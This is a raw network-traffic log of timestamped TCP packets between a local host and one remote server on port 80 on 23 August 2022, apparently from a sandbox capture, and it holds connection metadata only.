Aug 23, 2022 03:42:41.151725054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.151752949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.151760101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.151798964 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.151854992 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.151870966 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.151901960 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.151916981 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.158025026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.158090115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.158126116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.158147097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.158174992 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.158186913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.158205032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.158219099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.158224106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.158226967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.158227921 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.158250093 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.158250093 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.158281088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.158313990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.158314943 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.158335924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.158341885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.158360958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.158370972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.158385038 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.159723043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.166069031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.166143894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.166174889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.166194916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.166209936 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.166241884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.166300058 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.169908047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.169950962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.169979095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.170000076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.170686007 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.171858072 CEST	49749	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:41.172503948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.172535896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.172558069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.172574043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.172688961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.172713041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180180073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180221081 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180244923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180269003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180282116 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180293083 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180316925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180335045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180336952 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180350065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180356026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180378914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180392027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180403948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180425882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180428028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180450916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180458069 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180474043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180496931 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180499077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180521011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180538893 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180543900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180561066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180562019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180586100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180628061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180643082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180665016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180686951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180705070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180721045 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180730104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180738926 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180757046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180777073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180794001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180799961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180807114 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180824995 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180846930 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180847883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180859089 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180865049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180875063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180903912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180918932 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180927992 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.180929899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180953026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180970907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.180985928 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.181014061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.181025028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.181046963 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.181046963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.181072950 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.181091070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.181137085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.181144953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.181153059 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.181307077 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.181346893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.181370020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.181374073 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.181387901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.181387901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.181430101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.181463003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.181571960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.181627035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.181680918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.181694031 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.181696892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.181723118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.181755066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.183789968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.183820009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.183841944 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.183857918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.183926105 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.183954000 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.184230089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184326887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184350014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184366941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184397936 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.184401989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184429884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184463978 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.184473038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184492111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184534073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184556961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184581995 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184598923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184598923 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.184614897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.184619904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184621096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.184634924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.184643984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184667110 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.184668064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184685946 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184709072 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.184710026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184732914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184745073 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.184781075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.184787989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184803963 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.184859037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.185338020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.185363054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.185388088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.185405016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.185419083 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.185430050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.185457945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.185482025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.185486078 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.185497999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.185523987 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.185544014 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.187465906 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.187508106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.187527895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.187544107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.187602043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.187630892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.189524889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.189562082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.189584970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.189603090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.189626932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.189650059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.189672947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.189687967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.189690113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.189711094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.189718008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.189735889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.189749956 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.189778090 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.189927101 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.189944983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.190012932 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.197818995 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.197906971 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.197954893 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.197968960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.197992086 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.198012114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.198096037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.201668024 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.201752901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.201812029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.201806068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.201836109 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.201857090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.201913118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.204361916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.204399109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.204420090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.204436064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.204458952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.204482079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.204504967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.204574108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.204621077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.204662085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.204669952 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.211718082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.211760998 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.211787939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.211805105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.211829901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.211852074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.211877108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.211895943 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.211879969 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.211918116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.211925030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.211930037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.211932898 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.211936951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212034941 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.212038040 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212090969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212115049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.212152958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212179899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212222099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.212224007 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212243080 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212250948 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.212291002 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.212318897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212323904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.212373972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212435007 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.212447882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212465048 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.212466002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212497950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.212521076 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.212610960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212634087 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212657928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212671041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.212676048 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212693930 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.212713957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.212738991 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.212770939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212846994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212872028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212888956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.212910891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.212950945 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.213102102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213128090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213154078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213165998 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.213171005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213196039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213211060 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.213221073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213248968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.213279009 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.213282108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213299036 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213324070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213331938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.213347912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213361025 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.213375092 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213382959 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.213395119 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213404894 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.213421106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213423967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.213445902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213454008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.213473082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213475943 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.213493109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213496923 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.213532925 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.213553905 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.213603020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213625908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213651896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213669062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.213701963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.213725090 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.215640068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.215676069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.215698004 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.215715885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.215773106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.215831995 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.216110945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.216140032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.216164112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.216181040 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.216202021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.216238022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.216411114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.216440916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.216464996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.216483116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.216483116 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.216531992 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.216634989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.216659069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.216686010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.216718912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.216721058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.216839075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.216862917 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.216897011 CEST	49743	80	192.168.2.4	45.95.11.158
